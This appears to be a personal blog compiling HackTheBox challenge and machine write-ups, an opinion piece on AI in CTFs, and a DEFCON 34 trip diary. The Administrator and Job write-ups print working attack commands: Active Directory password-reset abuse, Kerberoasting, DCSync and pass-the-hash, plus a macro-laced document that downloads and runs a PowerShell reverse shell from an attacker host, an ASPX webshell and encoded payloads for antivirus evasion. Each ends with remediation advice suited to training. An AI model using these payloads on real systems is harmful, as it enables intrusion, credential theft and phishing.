Lesson writeup

Challenge name: Lesson

Difficulty: Very Easy

Challenge Scenario: It’s time to learn some basic things about binaries and basic c. Answer some questions to get the flag.

Link: https://app.hackthebox.com/challenges/Lesson?tab=play_challenge

Machine IP: 154.57.164.82:31300

Downloaded the zip as the site looks a bit like junk.

Read the main.c file.

It looks like if I just input admin, I would be able to successfully log in. This is the return on my own machine.

Looks like I actually need to connect to the IP and it provides questions.

nc 154.57.164.82 31300

Question 0x1: 64-bit.

File main

Question number 0x2: NX

gdb ./main

Checksec

This is actually just a lesson and not a challenge.

Question number 0x3: admin

What we saw earlier.

Question number 0x4: 0x20

Seen in the previous code.

Question number 0x5: under_construction

Never actually used, seen in previous code.

Question number 0x6: scanf

Question number 0x7: 40

Just run the code and see when it errors out.

Question number 0x8: 0x4011d6

Then we get the flag.

GG

Redminers writeup

Challenge name: Redminers

Difficulty: Very Easy

Challenge Scenario: In the race for Vitalium on Mars, the villainous Board of Arodor resorted to desperate measures, needing funds for their mining attempts. They devised a botnet specifically crafted to mine cryptocurrency covertly. We stumbled upon a sample of Arodor’s miner’s installer on our server. Recognizing the gravity of the situation, we launched a thorough investigation. With you as its leader, you need to unravel the inner workings of the installation mechanism. The discovery served as a turning point, revealing the extent of Arodor’s desperation. However, the battle for Vitalium continued, urging us to remain vigilant and adapt our cyber defenses to counter future threats.

Link: https://app.hackthebox.com/challenges/Red%2520Miners?tab=play_challenge

Machine IP: NA

Downloaded the zip and unzipped it. Right away I saw a bunch of base64.

I decoded this and its a part of the flag.

Part 2 of flag 

Part 3 of flag

Part 2 I think is this

Put it altogether and submitted the flag and it worked. I didn’t even have to read the code exactly. From reading the code though it looks like it looks for a certain username, root7654, specific host name and basically runs a ‘miner’ but kills other services that may affect it.

GG

Administrator writeup

Box name: Administrator

Difficulty: Medium

OS: Windows

Overview: Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia has GenericAll permissions over michael, allowing us to reset his password. With access as michael, it is revealed that he can force a password change on the user benjamin, whose password is reset. This grants access to FTP where a backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily. Further enumeration shows that emily has GenericWrite permissions over the user ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan, who is found to have DCSync rights ultimately allowing retrieval of the Administrator account hash and full domain compromise.

Link: https://app.hackthebox.com/machines/Administrator?tab=play_machine

Machine IP: 10.129.50.211

As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich

Ran rustscan against the machine.

rustscan -a 10.129.50.211 –ulimit 5000 -b 500 — -A -Pn

Looks like a machine on a domain. Added administrator.htb to /etc/hosts. Tried FTP’ing with the given credentials but they did not work. Tried ldap search but got no results. Checked shares and users with netexec and we do get some users back. No directly interesting shares.

nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –shares

nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –users

I checked Documents, Downloads and Desktop of Olivia with evil-winrm but haven’t found anything. Tried kerberoasting and asreproasting but got no results. Checked token. Spray users as password. Also sprayed our current credentials we have. Tried a bunch of other things. Finally I found something interesting with BloodyAD.

bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 get writable

We have access to write on Michaels account. Let’s try resetting his password.

bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 set password “CN=Michael Williams,CN=Users,DC=administrator,DC=htb” “Password123$”

It looks like that worked. Confirmed it but also no interesting shares from this account.

nxc smb 10.129.50.211 -u michael -p “Password123$” –shares

With Michaels account we can also change benjamin’s password.

bloodyAD –host dc.administrator.htb -d administrator.htb -u michael -p ‘Password123$’ –dc-ip 10.129.50.211 set password “CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb” “Password123$”

After more of trying things eventually I found that benjamin has access to ftp and there is a file in there Backup.psafe3.

ftp 10.129.50.211

This file is password protected. I was able to find that John the ripper has a built in tool to crack psafe files.

pwsafe2john Backup.psafe3 > safe.hash

john –wordlist=/usr/share/wordlists/rockyou.txt safe.hash

Opened this file with pwsafe and put password.

pwsafe Backup.psafe3

It provided me with 3 passwords.

I sprayed the credentials and the credentials worked on emily’s account. emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

nxc smb 10.129.50.211 -u users.txt -p pass.txt –continue-on-success

I ended up getting stuck here after a while and peeked at the writeup. I did try kerberoasting but it failed but apparently there is a targeted kerberoast tool. Additionally I will need to get used to Bloodhound for better visualization.

python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt

If we fix the clock and rerun it we get ethan’s hash.

sudo ntpdate 10.129.50.211

python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt

I was able to crack the hash with hashcat.

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

With ethan’s account we are able to secretsdump.

secretsdump.py -just-dc adminsitrator.htb/ethan@10.129.50.211

And we are able to successfully pass the hash with the Administrator account and evil-winrm and grab both flags.

evil-winrm -i 10.129.50.211 -u Administrator -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine. Added administrator.htb to /etc/hosts. Tried the provided Olivia credentials against FTP and LDAP with no success. Enumerated SMB shares and domain users with netexec. Tried Kerberoasting, ASREPRoasting, and credential spraying with no results. Used BloodyAD to enumerate writable ACL objects and found Olivia had GenericAll over Michael’s account.

rustscan -a 10.129.50.211 –ulimit 5000 -b 500 — -A -Pn nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –users bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 get writable

2 – ACL abuse chain – Olivia to Michael to Benjamin Used Olivia’s GenericAll privilege to reset Michael’s password. Authenticated as Michael and found he could force a password change on Benjamin. Reset Benjamin’s password to gain access to his account.

bloodyAD … set password “CN=Michael Williams,CN=Users,DC=administrator,DC=htb” “Password123$” bloodyAD … set password “CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb” “Password123$”

3 – FTP access and Password Safe database cracking Found Benjamin had FTP access and a Backup.psafe3 file in the FTP share. Used pwsafe2john to extract the hash and cracked it with John the Ripper using rockyou. Opened the database with pwsafe and recovered credentials for three accounts.

pwsafe2john Backup.psafe3 > safe.hash john –wordlist=/usr/share/wordlists/rockyou.txt safe.hash

4 – Credential spray and Emily’s account Sprayed all recovered passwords across all enumerated users. Emily’s credentials authenticated successfully.

Credentials recovered: emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

5 – Targeted Kerberoasting via GenericWrite on Ethan Found Emily had GenericWrite over Ethan, enabling a targeted Kerberoast attack by setting an SPN on his account. Synced the system clock and ran targetedKerberoast to request and capture Ethan’s TGS hash. Cracked it with Hashcat using rockyou.

sudo ntpdate 10.129.50.211 python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

6 – DCSync and domain compromise Confirmed Ethan had DCSync rights. Used secretsdump to dump all domain hashes. Passed the Administrator NTLM hash via evil-winrm to authenticate and retrieved both flags.

secretsdump.py -just-dc administrator.htb/ethan@10.129.50.211 evil-winrm -i 10.129.50.211 -u Administrator -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’

Key Takeaways

1. GenericAll and GenericWrite ACL misconfigurations enabling account takeover chain – A chain of excessive AD ACL permissions allowed forced password resets across multiple accounts culminating in targeted Kerberoasting and DCSync. AD ACLs must be audited regularly using BloodHound and excessive permissions including GenericAll and GenericWrite on user objects must be removed immediately.
   
2. Credentials stored in a Password Safe database on an FTP share – Domain user credentials were stored in a psafe3 database accessible via FTP, which was crackable offline with rockyou. Credential stores must never be placed on network shares and must use a master password that resists offline cracking. Rotate all credentials recovered from the database immediately.
   
3. Targeted Kerberoasting enabled by GenericWrite – Emily’s GenericWrite over Ethan allowed setting an SPN and Kerberoasting his account without any prior SPN registration. GenericWrite on user objects must be treated as equivalent to a targeted Kerberoast capability and must be restricted to accounts with an explicit operational requirement.
   
4. Crackable Kerberos service ticket hash – Ethan’s TGS hash was cracked with rockyou. Any account subject to Kerberoasting must use a password of at least 25 randomly generated characters to make offline cracking computationally infeasible.
   
5. DCSync rights on a standard user account enabling full domain compromise – Ethan held DS-Replication-Get-Changes-All rights, allowing a full domain hash dump from a single compromised user account. DCSync rights must be held only by domain controllers and must be audited and removed from all other accounts immediately.
   

Remediation

[Immediate] Audit and remove excessive AD ACL permissions Run BloodHound and audit all GenericAll, GenericWrite, WriteDACL, and ForceChangePassword ACEs across all domain objects. Remove Olivia’s GenericAll over Michael, Michael’s ability to reset Benjamin’s password, and Emily’s GenericWrite over Ethan. Establish a recurring ACL audit process and alert on any new high-risk ACE assignments.

[Immediate] Remove DCSync rights from Ethan and rotate all recovered hashes Remove DS-Replication-Get-Changes and DS-Replication-Get-Changes-All from Ethan’s account immediately. Initiate a domain-wide password reset for all accounts whose hashes were recovered via DCSync. Rotate the Administrator password to a randomly generated string managed through a PAM solution.

[Immediate] Remove the Backup.psafe3 file and rotate all recovered credentials Delete the password database from the FTP share immediately and rotate all three credentials recovered from it. Audit all FTP shares for sensitive files and remove any credential stores, configuration files, or backup data.

[Immediate] Restrict FTP access and require strong authentication Restrict FTP to only the accounts and IP addresses with an explicit operational requirement. Require authentication for all FTP connections and consider replacing FTP with SFTP. Audit all FTP directories for sensitive content.

[Short-term] Enforce strong passwords on all Kerberoastable accounts Audit all accounts with SPNs or that can be targeted via GenericWrite-based Kerberoasting. Enforce passwords of at least 25 randomly generated characters and deploy Group Managed Service Accounts for all service accounts to automate rotation and eliminate crackable hashes.

[Long-term] Deploy BloodHound continuously and implement tiered AD administration Run BloodHound on a regular cadence to detect new ACL misconfigurations and attack paths. Adopt a tiered AD model to prevent standard user accounts from holding rights over other users or domain controllers. Implement SIEM detection rules for DCSync activity, forced password resets, and SPN modification events. Include ACL enumeration and targeted Kerberoasting in the regular penetration testing scope.

I see this reoccurring discussion very often of people absolutely despising AI usage in CTFs or any competitive penetration testing or programming. This post isn’t to necessarily defend AI, nor dismissing other the detrimental outcomes that result from AI usage. Im relatively new to offensive security but here are my current thoughts:

Though I don’t quite use AI like the top competitors- Reality is in the current world, businesses do not care if you use AI as long as their goal for a penetration testing or software development is cleanly and safely hitting it’s goal. It’s essentially a view of better automation for leverage instead of a ‘Claude do this make no mistake’. As someone in tech, I love automation.

Now I haven’t necessarily experienced this myself as I’m on the younger side but I like to think of this day of age akin to when the browser was popularized to the normal person. It was a completely new concept to the individual who was familiar with learning strictly from books. I’m sure there were philosophical discussions if receiving knowledge from a browser search was efficient or damaging. In the era of browsers that is why we were asked to cite sources that were backed by academic resources. I believe unfortunately, if we don’t adapt and use it we fall behind. This is just a hard to grasp evolution of the field and world.

AI is unmistakably the future whether we collectively hate it or not. As I grow further in offensive security, my goal is to accomplish tasks manually, so I know what is actually happening, but also to be able to accomplish that given task more rapidly and proficiently with using autonomous AI agents.

Back to CTF and competitive use, what I’d like to see is separation of AI and manual competition. I think it would be very hard to deploy though as we do most of this remotely and that’d require some clever and intrusive monitoring software. I would love to see it for in-person CTFs and fascinatingly I did see it at DEFCON in the Pack Hacking Village CTF.

DEFCON 34: My First Con Experience

August 2026

Wednesday

I left Philly around 6 AM for the airport and immediately made my first mistake. I forgot my phone charger and had to grab one at “Gadget Express” in the airport. Initially I did not pay attention to the price until later, and apparently it was $120. Don’t shop there and make sure to remember to bring chargers.

The flight wasn’t bad. I spent most of it reading Thus Spake Zarathustra by Nietzsche.

“Too far did I fly into the future; a horror seized upon me.”

It felt relevant to AI discussions, though the book put me to sleep faster than I wanted to as this was my third time reading it. I should chose a better engaging book for the ride.

Las Vegas hit different. The moment you exit the plane, slot machines surround you. It’s surreal but on par. But the real shock was the heat. Nevada was in the middle of a heatwave, and every day was over 110°F. The air felt exactly like that SpongeBob episode where he suffocates without water.

I took a taxi from the airport as I recall seeing that recommended but I didn’t check the price beforehand and got charged $60 when it should’ve been ~$30 according to my friends. I didn’t have check-in until 4 PM, so I met up with a HackTheBox friend at OmegaMart/Area 15. This trippy psychedelic interactive museum felt like Adult Swim sponsored it and it was quite cool. Fun place though, but we were forced to leave early due to hacker curiosity (if you know, you know).

After checking into Harrahs, I grabbed some groceries from CVS, watched The Hangover, and tried to sleep early. Jet lag was rough since I’m already a terrible sleeper.

Thursday

I woke up early and grabbed my badge. Here’s the thing about Thursday: nothing actually happens. It’s just badge pickup day. They give you a handbook with surface-level info, and that’s it. I was reading it in the hallway when a friend coincidentally was sitting next to me. We didn’t realize until we were sitting near each other until he hit me up over Signal. I’d met him at a rave a year ago, my first hacker IRL friend. He’s more experienced with DEFCON, so we talked history, fake badges, deauth techniques, that sort of thing.

We hit up In-N-Out for lunch but it’s unimpressive, it tastes like a Wendy’s burger with a cult following.

The Toxic BBQ was happening, but it was way too hot outside. Instead, I decided to gamble and live out the Las Vegas tourist fantasy.

Blackjack basics I learned:

• Always hit on 11 or under
• 12-17: hit if dealer shows high card
• Never hit on 17
• Bet up after losses to recover, then normalize

Roulette: No logic, pure luck. I somehow hit 35x on $5 chips (everyone else was using $1. Didn’t realize I was being stupidly aggressive).

I made $322 though by god’s will, then got bored and walked to The LINQ where I saw hackers at Circle Bar. Ended up talking to DC710 and DC702 folks, grabbed some stickers and coins. Later that night, I got an invite to the DC562 party. A legit gathering with EDM, a CTF with terminals, and full bar/kitchen setup.

There I even met the guy with the Flock camera badge (https://x.com/Mammoth/status/2085118715276796081). Fuck mass surveillance. Connected with a ton of people, grabbed N64 controllers and stickers, played mousetrap Jenga (my fingers still hurt). Great crowd, and I headed back early since my body was still on EDT time.

Friday

The real DEFCON experience started today. A friend with a rental drove us (parking was $40, terrible value). We entered on the north side and found our Philly clique. A mutual friend was giving a talk about DC862 (New Jersey DEFCON chapter).

The talk areas used silent headphones. Genius design, but weird to see a lecture hall completely silent until applause.

I broke off solo to explore. Physical Security Village was the coolest part of the day. Everything about it was hands-on and educational. I also hit up:

• Hack5 booth (bought a few tools I haven’t previously owned)
• Lockpicking vendors (upgraded my worn Amazon set)
• Embedded Systems Village (sat down and did actual firmware walkthroughs)
• Packet Hacking Village (aesthetic was perfect, underground basement rave LAN party vibes)

I skipped the live vishing demo (line was insane) and spent most of the day aimlessly walking, which I wouldn’t recommend in hindsight. Pro tip: Read up on villages beforehand and use HackerTracker to schedule your day.

I felt simultaneously underwhelmed and overwhelmed. Everyone seemed brilliant, and I felt like a larper. Eventually made it to the Wall of Sheep (worth seeing in person), then headed back to the hotel to do TCM Security’s CTF. Finished in an hour and placed 33rd (out of 32+ who started Thursday/early Friday).

Saturday

With better bearings, I actually tried to do things:

• Battle of Bots at Social Engineering Village
• Radio Frequency talk (ironic considering the wireless headsets were being jammed by the whole place)
• Hardware Hacking Village: PIN challenge walkthrough with timing-based deduction
• Malware Development for Ethical Hackers workshop (cocomelonc’s BSides workshop at https://github.com/cocomelonc/bsprishtina-2024-maldev-workshop)
• QueerCon/CheeseCon (met some online HackTheBox friends, got cheese)
• Cold Calls vishing line was too long to wait again

Weird realization: even with “lots” to do, time flies. Most of it’s spent walking or waiting in lines. The con feels absurdly shorter than it actually is.

Finished the day with the Lonely Hacker CTF in my hotel room but didn’t make enough progress to compete seriously.

Sunday

Not much happens on Sunday either. I caught the social engineering village live calls pre qual finally though, they were pretty funny and impressive. The Social engineering village lost internet during the event and used a Tesla Starlink to stay connected.

Watched “What is it Really Like to Be a Red Teamer?” talk at the Noob Community. Then also watched the Red team village talk Hacking the Human-in-the-Loop which was actually interesting, I recommend watching that. The speaker was someone I’d met at a bar earlier. Heading back to my hotel felt right. There was an after-party, but I didn’t want to be hungover on Monday’s flight so that I skipped as well

Monday

Day of travel, 2 hours delay and got home in bed roughly at 11pm. I sure do hate traveling.

Conclusion

I’m not entirely sure if I’d go back to be honest, unless it was fully paid off. I expected it to be on the level of magical as Disneyland as a child. I don’t regret going entirely. but I don’t necessarily think I needed it. At the same time i think my expectations may have been too high. In a nutshell I’d say- Don’t go u less u have friends/peers online that you want to meet, available money or competing at a top level official CTF- it won’t be worth it. Additionally, I feel like more of a skid after, not less.

Practical Tips:

• Everything is absurdly expensive everywhere, Las Vegas is a tourist trap
• Stay hydrated constantly
• Prepare for the heat (110°F+ this year)
• Expect for a lot of walking
• Use HackerTracker to plan your day
• Budget around $4k total for the trip

Oh and DEFCON is cancelled next year.

Job writeup

Box name: Job

Difficulty: Medium

OS: Windows

Overview: Job is a Medium difficulty Windows box. It runs an SMTP server and its website accepts LibreOffice-compatible documents, providing a vector to deliver a document with embedded macros that leads to remote code execution as user jack.black. jack.black is a member of the DEVELOPERS group, which has write access to C:\inetpub\wwwroot (the IIS web root), allowing files to be placed in the webroot and achieve code execution as the IIS AppPool service account. The IIS AppPool account has the SeImpersonate privilege, creating conditions that allow token-impersonation techniques to be used to escalate privileges to Administrator.

Link: https://app.hackthebox.com/machines/Job?tab=machine_info&sort_by=created_at&sort_type=desc

Machine IP: 10.129.234.73

Ran rustscan against the machine.

rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

Navigated to the webserver and it tells us to send in an application/CV as a libre office document. We can’t do it here but it gives us an address career@job.local. 

We do see port 25 (SMTP) open. We can maybe create a malicious libre office document and send an email. Upon research we can use macros possibly. Created a msfvenom payload.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f psh -o shell.ps1

Set up an http.server.

My current LibreOffice Writer wasn’t working so I downloaded that then opened LibreOffice Writer.

Went to Tools -> Macros -> Edit Macros. Got a base64 payload to download the revshell and added it to the macro.

python3 -c “import base64; cmd = \”IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.16.27/shell.ps1’)\”; print(base64.b64encode(cmd.encode(‘UTF-16LE’)).decode())”

Sub Main
    Dim oShell As Object
    oShell = CreateObject("WScript.Shell")
    oShell.Run "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIANwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQAnACkA", 0, False
End Sub

Then added it so it would run upon open under Tools -> Customize -> Events. Used sendemail to send the file.

sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a ~/Downloads/hacked.odt -s 10.129.234.73:25

I was getting a response on my httpserver but was not getting a shell. I was able to create a new shell that got us a connection.

cat > ~/Fknhack/shell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.27',1337);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()
EOF

And we get a shell as jack.black.

Grabbed user.txt.

Started windows local enumeration and we are in a JOB\developers group.

Whoami /groups

Did more enumeration and we can find that developers has write permissions to C:\inetpub\wwwroot.

icacls C:\inetpub\wwwroot

dir

There is also already an .aspx file in there. Created a .aspx shell.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx

Transferred it to the victim host.

(New-Object Net.WebClient).DownloadFile(‘http://10.10.16.27:8000/shell.aspx’, ‘C:\inetpub\wwwroot\shell.aspx’)

Navigated to it in a browser to trigger it with a listener and we got a shell.

Did additional enumeration as we are under a new account and I found we have SeImpersonatePrivilege privs.

Whoami /priv

I tried to get a meterpreter shell instead so we can abuse these tokens.

I had to evade the AV as with no evasion it was being caught but eventually I got a shell. For evasion I used this.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx

Incognito actually didn’t work or show tokens but get system worked.

Getsystem

Getuid

And I was able to grab root.txt.

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 25 (SMTP), 80 (HTTP), and others. Browsed to the web server and found a job application portal instructing applicants to submit a LibreOffice-compatible CV to career@job.local. The combination of an SMTP server and a document upload vector immediately suggested a macro-based phishing attack.

rustscan -a 10.129.234.73 –ulimit 5000 -b 500 — -A -Pn

2 – Initial Access – malicious LibreOffice macro via SMTP Generated a PowerShell reverse shell payload with msfvenom and hosted it on an HTTP server. Created a LibreOffice Writer document with a macro that downloaded and executed the shell payload using a base64 encoded PowerShell command. Configured the macro to trigger on document open via Tools – Customize – Events. Sent the malicious document to career@job.local via sendEmail. The initial msfvenom payload was caught by AV so replaced it with a raw TCP PowerShell shell script. Obtained a shell as jack.black and retrieved user.txt.

sendEmail -f attacker@job.local -t career@job.local -u “CV Application” -m “Please find my CV attached.” -a hacked.odt -s 10.129.234.73:25

3 – IIS web root write access via DEVELOPERS group Enumerated group memberships and found jack.black was in the JOB\DEVELOPERS group. Confirmed the DEVELOPERS group had write access to C:\inetpub\wwwroot. Generated an ASPX reverse shell with msfvenom, transferred it to the web root, and triggered it via browser to obtain a shell as the IIS AppPool service account.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -o shell.aspx icacls C:\inetpub\wwwroot

4 – Privilege Escalation – SeImpersonatePrivilege via Meterpreter getsystem Confirmed the IIS AppPool account held SeImpersonatePrivilege. Standard Meterpreter payloads were caught by Defender. Used XOR dynamic encoding with multiple iterations to evade AV detection and obtain a Meterpreter session. Incognito token impersonation was unavailable but getsystem succeeded in escalating to SYSTEM. Retrieved root.txt.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx -e x64/xor_dynamic -i 10 -o meter.aspx

Key Takeaways

1. SMTP server accepting unauthenticated email enabling macro delivery – The SMTP server accepted mail from arbitrary external senders with no authentication or sender verification, allowing delivery of a malicious document to an internal mailbox. SMTP servers must require authentication for submission and must implement sender verification controls including SPF, DKIM, and DMARC.
   
2. Document processing without macro sandboxing or stripping – The career portal processed LibreOffice documents including embedded macros without sandboxing or stripping executable content. Document processing pipelines must disable macro execution entirely or process documents in an isolated environment with no network access and no ability to execute system commands.
   
3. DEVELOPERS group with write access to IIS web root – The JOB\DEVELOPERS group had write access to C:\inetpub\wwwroot, allowing any member to deploy arbitrary ASPX files and achieve code execution under the IIS AppPool account. Web root write access must be restricted to dedicated deployment service accounts and must never be granted to broad developer groups.
   
4. IIS AppPool account holding SeImpersonatePrivilege – The IIS application pool service account held SeImpersonatePrivilege which is a well-known privilege escalation path via token impersonation attacks. IIS AppPool accounts must run under dedicated identities with the minimum required permissions and must be audited for excessive privileges including SeImpersonatePrivilege.
   
5. AV evasion required but achievable with basic encoding – Defender blocked standard Meterpreter payloads but was bypassed using XOR encoding with multiple iterations. Reliance on signature-based AV as the primary defense is insufficient. Behavioral detection, application whitelisting, and network-level controls must be layered to detect post-exploitation activity regardless of payload encoding.
   

Remediation

[Immediate] Require SMTP authentication and implement email content filtering Configure the SMTP server to require authentication for all mail submission and reject unauthenticated connections from external sources. Deploy an email security gateway that strips or sandboxes macro-enabled documents before delivery. Implement SPF, DKIM, and DMARC to prevent spoofed sender addresses.

[Immediate] Disable macro execution in document processing Process all submitted documents in an isolated sandbox with no network access and no script or macro execution capability. If document preview or conversion is required, use a dedicated conversion service that renders documents without executing embedded code. Alert on any submitted document containing macros.

[Immediate] Remove write access from the DEVELOPERS group on the IIS web root Remove the DEVELOPERS group write permission from C:\inetpub\wwwroot immediately. Restrict web root write access to a dedicated deployment service account used exclusively for controlled deployments via an approved CI/CD pipeline. Audit the current web root for any unauthorized files including shell.aspx and meter.aspx and remove them.

[Immediate] Remove SeImpersonatePrivilege from the IIS AppPool account Audit the IIS AppPool account’s privileges and remove SeImpersonatePrivilege. Run IIS application pools under dedicated managed service accounts with the minimum permissions required. Verify that no application pool identity holds SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, or other token manipulation privileges.

[Short-term] Deploy behavioral endpoint detection Supplement signature-based AV with a behavioral EDR solution that detects post-exploitation activity including PowerShell download cradles, ASPX webshell execution, and token impersonation regardless of payload encoding. Alert on PowerShell executing from document processing contexts and on ASPX files being written to the web root.

[Long-term] Implement a secure document handling and web application deployment baseline Define a standard for all document intake processes covering macro stripping, sandboxed processing, and file type validation. Establish a controlled deployment pipeline for the IIS web root with change logging and file integrity monitoring. Include document processing pipelines and IIS configurations in the regular penetration testing scope.